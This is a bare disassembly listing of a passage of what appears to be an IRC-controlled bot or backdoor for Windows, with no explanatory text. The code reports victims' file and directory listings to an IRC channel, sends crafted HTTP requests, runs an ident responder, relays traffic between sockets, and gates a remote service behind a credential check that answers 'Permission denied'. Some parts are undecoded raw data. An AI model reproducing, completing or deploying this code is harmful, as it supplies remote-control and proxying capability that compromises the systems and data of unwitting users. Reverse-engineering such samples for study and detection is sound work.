push [ebp+arg_4]
call dword_4C9354
lea eax, [ebp+var_35C]
push eax
call sub_41B960
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_4106F2
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_4106F7
; ---------------------------------------------------------------------------
loc_4106F2: ; CODE XREF: sub_410330+3B9j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_4106F7: ; CODE XREF: sub_410330+3C0j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C100
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4C9354
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4108BF
; ---------------------------------------------------------------------------
loc_41073C: ; CODE XREF: sub_410330+325j
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41C100
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_410769: ; CODE XREF: sub_410330+476j
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C100
add esp, 24h
jmp loc_4108CE
; ---------------------------------------------------------------------------
loc_41077E: ; CODE XREF: sub_410330+2CFj
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_4107A8
push ebx
push [ebp+var_368]
call sub_416C7D
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_410769
; ---------------------------------------------------------------------------
loc_4107A8: ; CODE XREF: sub_410330+454j
cmp [ebp+arg_C], ebx
jz loc_4108A8
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C100
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4C9354
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset dword_429ACC
push edi
push eax
call sub_41C100
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4C9354
lea eax, [ebp+var_35C]
push eax
call sub_41B960
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_410848
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_41084D
; ---------------------------------------------------------------------------
loc_410848: ; CODE XREF: sub_410330+50Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_41084D: ; CODE XREF: sub_410330+516j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C100
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4C9354
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C100
add esp, 1Ch
jmp short loc_4108CE
; ---------------------------------------------------------------------------
loc_4108A8: ; CODE XREF: sub_410330+47Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_4108BF: ; CODE XREF: sub_410330+407j
lea eax, [ebp+var_248]
push eax
call sub_41C100
add esp, 18h
loc_4108CE: ; CODE XREF: sub_410330+31Dj
; sub_410330+449j ...
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4C9354
cmp [ebp+arg_8], ebx
jz short loc_4108FD
push 7D0h
nop
call near ptr 268051Bh
loc_4108FD: ; CODE XREF: sub_410330+226j
; sub_410330+241j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
nop
call near ptr 2780000h
test eax, eax
jnz loc_410550
loc_410915: ; CODE XREF: sub_410330+215j
push [ebp+arg_0]
call near ptr 25C0000h
nop
cmp [ebp+arg_8], ebx
jz short loc_410958
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416C7D
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_416C7D
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41C006
add esp, 14h
jmp short loc_41098C
; ---------------------------------------------------------------------------
loc_410958: ; CODE XREF: sub_410330+5F1j
cmp [ebp+arg_C], ebx
jz short loc_410972
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41C006
pop ecx
pop ecx
jmp short loc_41098C
; ---------------------------------------------------------------------------
loc_410972: ; CODE XREF: sub_410330+62Bj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41C006
add esp, 10h
loc_41098C: ; CODE XREF: sub_410330+626j
; sub_410330+640j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4C9354
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_410330 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109B2 proc near ; CODE XREF: sub_40FEFE+13Bp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call near ptr 27306D8h
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410A6A
push esi
push ebx
nop
call near ptr 2760AD0h
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_410A63
loc_4109F7: ; CODE XREF: sub_4109B2+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_41BD10
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_410A14
mov edi, [ebp+arg_4]
loc_410A14: ; CODE XREF: sub_4109B2+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
nop
call near ptr 2791104h
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
nop
call near ptr 2710000h
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_4C9354
cmp eax, 0FFFFFFFFh
jnz short loc_410A5E
call dword_4C9298
cmp eax, 2733h
jnz short loc_410A63
xor eax, eax
loc_410A5E: ; CODE XREF: sub_4109B2+9Bj
sub [ebp+arg_4], eax
jnz short loc_4109F7
loc_410A63: ; CODE XREF: sub_4109B2+43j
; sub_4109B2+A8j
push ebx
call near ptr 2660000h
nop
loc_410A6A: ; CODE XREF: sub_4109B2+30j
pop edi
pop esi
pop ebx
leave
retn
sub_4109B2 endp
; =============== S U B R O U T I N E =======================================
sub_410A6F proc near ; CODE XREF: sub_410080+17Cp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_41B960
test eax, eax
pop ecx
jbe short loc_410A98
loc_410A82: ; CODE XREF: sub_410A6F+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_410A8C
mov byte ptr [esi+edi], 2Fh
loc_410A8C: ; CODE XREF: sub_410A6F+17j
push edi
inc esi
call sub_41B960
cmp esi, eax
pop ecx
jb short loc_410A82
loc_410A98: ; CODE XREF: sub_410A6F+11j
mov eax, edi
pop edi
pop esi
retn
sub_410A6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410A9D proc near ; CODE XREF: sub_401AC7+5201p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4C9274
push 6
push 1
push 2
call dword_4C9384
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BD10
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_4C9304
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40A8E4
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4C92AC
cmp eax, 0FFFFFFFFh
jz short loc_410B7A
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_410B16
mov eax, offset byte_43B4B8
loc_410B16: ; CODE XREF: sub_410A9D+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41C100
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_4C9354
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_41CAB0
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_4C931C
pop esi
loc_410B7A: ; CODE XREF: sub_410A9D+6Bj
push ebx
call dword_4C939C
call dword_4C925C
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41C006
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_410BBA
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 14h
loc_410BBA: ; CODE XREF: sub_410A9D+102j
pop edi
pop ebx
leave
retn
sub_410A9D endp
; ---------------------------------------------------------------------------
loc_410BBE: ; DATA XREF: ___:00401660o
; sub_401AC7+4389o
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp-1Ch]
push esi
push eax
mov [ebp-8], esi
call sub_41BD10
add esp, 0Ch
mov word ptr [ebp-1Ch], 2
push 71h
call dword_4C9304
push esi
push 1
push 2
mov [ebp-1Ah], ax
mov [ebp-18h], esi
call dword_4C9384
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410D1F
mov eax, [ebp+8]
push edi
imul eax, 234h
mov dword_43C24C[eax], ebx
lea eax, [ebp-1Ch]
push eax
push ebx
call dword_4C9330
cmp eax, 0FFFFFFFFh
jz loc_410D1F
push 5
push ebx
call dword_4C932C
cmp eax, 0FFFFFFFFh
jz loc_410D1F
mov [ebp-0Ch], edi
mov edi, 200h
loc_410C49: ; CODE XREF: ___:00410CA8j
; ___:00410D08j ...
lea eax, [ebp-0Ch]
push eax
lea eax, [ebp-2Ch]
push eax
push ebx
call dword_4C9398
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_410D1A
movzx eax, word ptr [ebp-2Ah]
push eax
push dword ptr [ebp-28h]
call dword_4C9390
push eax
lea eax, [ebp-238h]
push offset dword_43495C
push eax
call sub_41C006
lea eax, [ebp-238h]
push eax
call sub_415CEE
add esp, 14h
lea eax, [ebp-238h]
push esi
push edi
push eax
push dword ptr [ebp-4]
call dword_4C931C
cmp eax, 0FFFFFFFFh
jz short loc_410C49
lea eax, [ebp-238h]
push esi
push eax
call sub_41847D
push 0Ch
lea eax, [ebp-38h]
push esi
push eax
call sub_41BD10
push esi
push esi
lea eax, [ebp-38h]
push 2
push eax
call sub_40AE77
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp-238h]
push edi
push eax
call sub_41C100
add esp, 34h
lea eax, [ebp-238h]
push esi
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp-238h]
push eax
push dword ptr [ebp-4]
call dword_4C9354
cmp eax, 0FFFFFFFFh
jz loc_410C49
mov dword ptr [ebp-8], 1
jmp loc_410C49
; ---------------------------------------------------------------------------
loc_410D1A: ; CODE XREF: ___:00410C5Ej
cmp [ebp-8], esi
jnz short loc_410D46
loc_410D1F: ; CODE XREF: ___:00410C05j
; ___:00410C29j ...
call dword_4C9298
push eax
lea eax, [ebp-238h]
push offset dword_434918
push eax
call sub_41C006
lea eax, [ebp-238h]
push eax
call sub_415CEE
add esp, 10h
loc_410D46: ; CODE XREF: ___:00410D1Dj
push ebx
call dword_4C939C
push dword ptr [ebp-4]
call dword_4C939C
push dword ptr [ebp+8]
call sub_40B6C9
pop ecx
push esi
nop
call near ptr 26F0000h
pop edi
pop esi
pop ebx
loc_410D69: ; DATA XREF: sub_401AC7+609Eo
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-150h]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp-14h]
push esi
push eax
call sub_41BD10
add esp, 0Ch
mov word ptr [ebp-14h], 2
push dword ptr [ebp-44h]
call dword_4C9304
push 6
push 1
push 2
mov [ebp-12h], ax
mov [ebp-10h], esi
mov [ebp-4], edi
call dword_4C9384
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz loc_410ED5
mov ecx, [ebp-40h]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_43C24C[ecx], eax
call dword_4C9214
lea eax, [ebp-14h]
push edi
push eax
push dword ptr [ebp+8]
call dword_4C9330
test eax, eax
jnz loc_410ED5
push 0Ah
push dword ptr [ebp+8]
call dword_4C932C
test eax, eax
jnz loc_410ED5
loc_410E19: ; CODE XREF: ___:00410E2Fj
lea eax, [ebp-4]
push eax
lea eax, [ebp-28h]
push eax
push dword ptr [ebp+8]
call dword_4C9398
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_410E19
movzx eax, word ptr [ebp-26h]
push dword ptr [ebp-40h]
mov [ebp-14Ch], edi
mov [ebp-30h], esi
push eax
push dword ptr [ebp-24h]
call dword_4C9390
push eax
lea eax, [ebp-350h]
push offset unk_4349C4
push eax
call sub_41C006
push edi
lea eax, [ebp-350h]
push 18h
push eax
call sub_40B3AD
mov [ebp-3Ch], eax
imul eax, 234h
mov ecx, [ebp-40h]
add esp, 20h
mov dword_43C244[eax], ecx
lea eax, [ebp-18h]
push eax
lea eax, [ebp-150h]
push esi
push eax
push offset loc_410EFA
push esi
push esi
; ---------------------------------------------------------------------------
dd 26F72CE8h, 4D8B9002h, 34C969C4h, 3B000002h, 548189C6h
dd 740043C2h, 0D0753913h, 0FF63850Fh, 326AFFFFh, 0F65DE890h
dd 0EDEB0226h, 0FF07E890h, 68500226h, 434988h, 4E91E8h
dd 0EB595900h
db 3
; ---------------------------------------------------------------------------
loc_410ED5: ; CODE XREF: ___:00410DCCj
; ___:00410E00j ...
mov edi, [ebp+8]
push edi
call dword_4C939C
push dword ptr [ebp+8]
call dword_4C939C
push dword ptr [ebp-40h]
call sub_40B6C9
pop ecx
push esi
nop
call near ptr 26F0000h
pop edi
pop esi
loc_410EFA: ; DATA XREF: ___:00410E8Do
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41C2A0
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
mov ebx, [ebp-30h]
push 1
pop ecx
mov [ebp-4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_4C9384
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+8], esi
jz loc_4110B0
push 10h
lea eax, [ebp-18h]
push edi
push eax
call sub_41BD10
add esp, 0Ch
mov word ptr [ebp-18h], 2
push dword ptr [ebp-3Ch]
call dword_4C9304
mov [ebp-16h], ax
lea eax, [ebp-13Ch]
push eax
call dword_4C9344
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_410F8A
lea eax, [ebp-13Ch]
push eax
call dword_4C9388
jmp short loc_410F98
; ---------------------------------------------------------------------------
loc_410F8A: ; CODE XREF: ___:00410F79j
push 2
lea eax, [ebp-8]
push 4
push eax
call dword_4C92BC
loc_410F98: ; CODE XREF: ___:00410F88j
cmp eax, edi
jz loc_4110B0
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp-14h], eax
lea eax, [ebp-18h]
push eax
push esi
call dword_4C92AC
cmp eax, 0FFFFFFFFh
jz loc_4110B0
movzx eax, word ptr [ebp-16h]
push dword ptr [ebp-34h]
mov [ebp-20h], edi
push eax
push dword ptr [ebp-14h]
call dword_4C9390
push eax
lea eax, [ebp-344h]
push offset unk_434A4C
push eax
call sub_41C006
push esi
lea eax, [ebp-344h]
push 18h
push eax
call sub_40B3AD
imul ebx, 234h
mov [ebp-30h], eax
imul eax, 234h
mov ecx, [ebp-34h]
lea esi, dword_43C24C[ebx]
mov dword_43C244[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_43C250[eax], ecx
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-144h]
push edi
push eax
push offset loc_4110E1
push edi
push edi
call near ptr 26805C5h
nop
mov ecx, [ebp-30h]
imul ecx, 234h
cmp eax, edi
mov dword_43C254[ecx], eax
jz short loc_41109D
loc_41104A: ; CODE XREF: ___:00411057j
cmp [ebp-20h], edi
jnz short loc_411059
push 32h
call near ptr 268051Bh
nop
jmp short loc_41104A
; ---------------------------------------------------------------------------
loc_411059: ; CODE XREF: ___:0041104Dj
mov ebx, 1000h
loc_41105E: ; CODE XREF: ___:00411099j
push ebx
lea eax, [ebp-1344h]
push edi
push eax
call sub_41BD10
add esp, 0Ch
lea eax, [ebp-1344h]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4C931C
cmp eax, edi
jle short loc_4110B0
push edi
push eax
lea eax, [ebp-1344h]
push eax
push dword ptr [ebp+8]
call dword_4C9354
cmp eax, 0FFFFFFFFh
jnz short loc_41105E
jmp short loc_4110B0
; ---------------------------------------------------------------------------
loc_41109D: ; CODE XREF: ___:00411048j
nop
call near ptr 2680DCDh
push eax
push offset unk_434A0C
call sub_415D62
pop ecx
pop ecx
loc_4110B0: ; CODE XREF: ___:00410F3Ej
; ___:00410F9Aj ...
mov eax, [ebp-4]
imul eax, 234h
push dword_43C24C[eax]
call dword_4C939C
push dword ptr [ebp+8]
call dword_4C939C
push dword ptr [ebp-4]
call sub_40B6C9
pop ecx
push edi
nop
call near ptr 26F0000h
pop edi
pop esi
pop ebx
loc_4110E1: ; DATA XREF: ___:0041102Ao
push ebp
mov ebp, esp
mov eax, 1128h
call sub_41C2A0
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_411118: ; CODE XREF: ___:0041115Dj
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_41BD10
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push dword_43C250[esi]
call dword_4C931C
test eax, eax
jle short loc_41115F
push 0
push eax
lea eax, [ebp-1128h]
push eax
push dword_43C24C[esi]
call dword_4C9354
cmp eax, 0FFFFFFFFh
jnz short loc_411118
loc_41115F: ; CODE XREF: ___:00411142j
push dword_43C250[esi]
call dword_4C939C
push dword ptr [ebp-14h]
call sub_40B6C9
pop ecx
push 0
nop
; ---------------------------------------------------------------------------
db 0E8h
dd 22DEE84h
; ---------------------------------------------------------------------------
pop edi
pop esi
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp-3D4h]
push 1
mov dword ptr [ebp-0Ch], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp-208h]
mov [ebp+8], eax
imul eax, 234h
lea esi, dword_43C24C[eax]
xor edi, edi
mov [ebp-8], edi
mov [ebp-1F4h], ebx
mov eax, [esi]
mov [ebp-1F0h], eax
lea eax, [ebp-0Ch]
push eax
push edi
lea eax, [ebp-1F4h]
push edi
push eax
push edi
call dword_4C92EC
test eax, eax
jnz short loc_411202
push dword ptr [esi]
call dword_4C939C
push dword ptr [ebp+8]
call sub_40B6C9
pop ecx
push edi
nop
call near ptr 26F0000h
loc_411202: ; CODE XREF: ___:004111E8j
push edi
lea eax, [ebp-3Ch]
push ebx
push eax
push dword ptr [esi]
call dword_4C931C
lea eax, [ebp-2Ch]
push 10h
push eax
push dword ptr [esi]
call sub_411383
lea eax, [ebp-4Ch]
push 10h
push eax
push dword ptr [esi]
call sub_411383
lea eax, [ebp-0F0h]
push 40h
push eax
push dword ptr [esi]
call sub_411383
add esp, 24h
lea eax, [ebp-4]
mov dword ptr [ebp-4], 10h
push eax
lea eax, [ebp-1Ch]
push eax
push dword ptr [esi]
call dword_4C9258
test eax, eax
jz short loc_41127B
call dword_4C9298
push eax
push offset unk_434B24
call sub_415D62
push dword ptr [ebp+8]
call sub_40B6C9
add esp, 0Ch
push edi
call near ptr 26F0000h
nop
loc_41127B: ; CODE XREF: ___:00411256j
push 2
lea eax, [ebp-18h]
push 4
push eax
call dword_4C92BC
cmp eax, edi
jnz short loc_4112A5
push dword ptr [ebp-18h]
call dword_4C9390
push eax
lea eax, [ebp-0B0h]
push eax
call sub_41C006
jmp short loc_4112B3
; ---------------------------------------------------------------------------
loc_4112A5: ; CODE XREF: ___:0041128Bj
push dword ptr [eax]
lea eax, [ebp-0B0h]
push eax
call sub_41C620
loc_4112B3: ; CODE XREF: ___:004112A3j
pop ecx
pop ecx
push edi
push ebx
push offset byte_43B4B8
push dword ptr [esi]
call dword_4C9354
cmp dword_4CC06C, edi
jnz short loc_411315
push dword ptr [ebp-18h]
lea eax, [ebp-350h]
push eax
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
call sub_4113DD
add esp, 10h
test eax, eax
jnz short loc_411315
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4C9354
push dword ptr [esi]
call dword_4C939C
push dword ptr [ebp+8]
call sub_40B6C9
pop ecx
push edi
nop
call near ptr 26F0000h
loc_411315: ; CODE XREF: ___:004112CAj
; ___:004112EBj
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_434AE8
call sub_415D62
push dword ptr [ebp+8]
call sub_411694
add esp, 10h
test eax, eax
jnz short loc_41135C
call near ptr 2680DCDh
nop
push eax
push offset unk_434ABC
call sub_415D62
push dword ptr [ebp+8]
call sub_40B6C9
add esp, 0Ch
push ebx
call near ptr 26F0000h
nop
loc_41135C: ; CODE XREF: ___:00411337j
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_434A90
call sub_415D62
push dword ptr [ebp+8]
call sub_40B6C9
add esp, 10h
push edi
nop
call near ptr 26F0000h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411383 proc near ; CODE XREF: ___:00411218p
; ___:00411225p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4C931C
cmp eax, 1
jnz short loc_4113D3
mov esi, [ebp+arg_4]
loc_4113A1: ; CODE XREF: sub_411383+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_4113C8
test al, al
jz short loc_4113D7
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4C931C
cmp eax, 1
jz short loc_4113A1
jmp short loc_4113D3
; ---------------------------------------------------------------------------
loc_4113C8: ; CODE XREF: sub_411383+27j
push offset unk_434B50
call sub_415D62
pop ecx
loc_4113D3: ; CODE XREF: sub_411383+19j
; sub_411383+43j
xor eax, eax
jmp short loc_4113DA
; ---------------------------------------------------------------------------
loc_4113D7: ; CODE XREF: sub_411383+2Bj
push 1
pop eax
loc_4113DA: ; CODE XREF: sub_411383+52j
pop esi
leave
retn
sub_411383 endp
; =============== S U B R O U T I N E =======================================
sub_4113DD proc near ; CODE XREF: ___:004112E1p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_411408
push [esp+arg_4]
push [esp+4+arg_0]
push offset dword_434B7C
call sub_415D62
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_411408: ; CODE XREF: sub_4113DD+11j
push 1
pop eax
retn
sub_4113DD endp
; ---------------------------------------------------------------------------
dword_41140C dd 81EC8B55h, 5A4ECh, 8458B00h, 786A5756h, 8DF08B59h, 0FFFDECBDh
; DATA XREF: sub_401AC7+2364o
dd 0F3016AFFh, 0B8895FA5h, 1DCh, 0FA5C858Dh, 6850FFFFh
dd 202h, 927415FFh, 0F633004Ch, 1D74C63Bh, 4CEC6850h, 0FE80043h
dd 0FF000049h, 6EE8B475h, 83FFFFA2h, 90570CC4h, 2DEB9BE8h
dd 8A685702h, 0E8004116h, 23807E0h, 75C08590h, 52E89029h
dd 500226F9h, 434CA868h, 48DCE800h, 59590000h, 925C15FFh
dd 75FF004Ch, 0A233E8B4h, 5759FFFFh, 0EB62E890h, 6A53022Dh
dd 0E0458D10h, 65E85056h, 830000A8h, 0C7660CC4h, 2E045h
dd 0FFB075FFh, 4C930415h, 57066A00h, 8966026Ah, 7589E245h
dd 8415FFE4h, 8B004C93h, 0FFFB83D8h, 13B840Fh, 458B0000h
dd 69106AB4h, 234C0h, 4C988900h, 8D0043C2h, 5350E045h
dd 933015FFh, 0C085004Ch, 117850Fh, 0FF680000h, 537FFFFFh
dd 932C15FFh, 0C085004Ch, 103850Fh, 6C680000h, 0C700434Ch
dd 0CF045h, 75890000h, 0F87589F4h, 47C5E8h, 7D895900h
dd 0FC458D08h, 10FC45C7h, 50000000h, 50CC458Dh, 9815FF53h
dd 8B004C93h, 0FFFF83F8h, 0CA840Fh, 75FF0000h, 8458D08h
dd 68086A50h, 0FFFFh, 0E415FF57h, 83004C92h, 0C574FFF8h
dd 0CE45B70Fh, 89B475FFh, 0FF50C875h, 15FFD075h, 4C9390h
dd 0EC858D50h, 68FFFFFBh, 434C28h, 0AA78E850h, 858D0000h
dd 0FFFFFBECh, 4754E850h, 8D570000h, 0FFFBEC85h, 50096AFFh
dd 0FF9E04E8h, 0B84589FFh, 234C069h, 4D8B0000h, 24C483B4h
dd 0C2448889h, 458D0043h, 858D50DCh, 0FFFFFDECh, 7E685056h
dd 8D004111h, 5056F045h, 26EFECE8h, 4D8B9002h, 34C969B8h
dd 3B000002h, 548189C6h, 740043C2h, 0C8753913h, 0FF37850Fh
dd 326AFFFFh, 0EF1DE890h, 0EDEB0226h, 0F7C7E890h, 68500226h
dd 434BECh, 4751E8h, 0EB595900h, 87D8B03h, 929815FFh, 8D50004Ch
dd 0FFFBEC85h, 4BB468FFh, 0E8500043h, 0A9D6h, 390CC483h
dd 2075C475h, 0EC858D56h, 0FFFFFFFBh, 8D50C075h, 0FFFDF085h
dd 0B5FF50FFh, 0FFFFFDECh, 0FF820DE8h, 14C483FFh, 0FBEC858Dh
dd 0E850FFFFh, 468Ah, 15FF5759h, 4C939Ch, 9C15FF53h, 0FF004C93h
dd 4C925C15h, 0B475FF00h, 0FFA048E8h, 0E85659FFh, 22DE978h
dd 0C0335B90h, 4244439h, 0C3C0940Fh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411694 proc near ; CODE XREF: ___:0041132Dp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_4117E5
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_43C24C[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_42708C
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4119B7
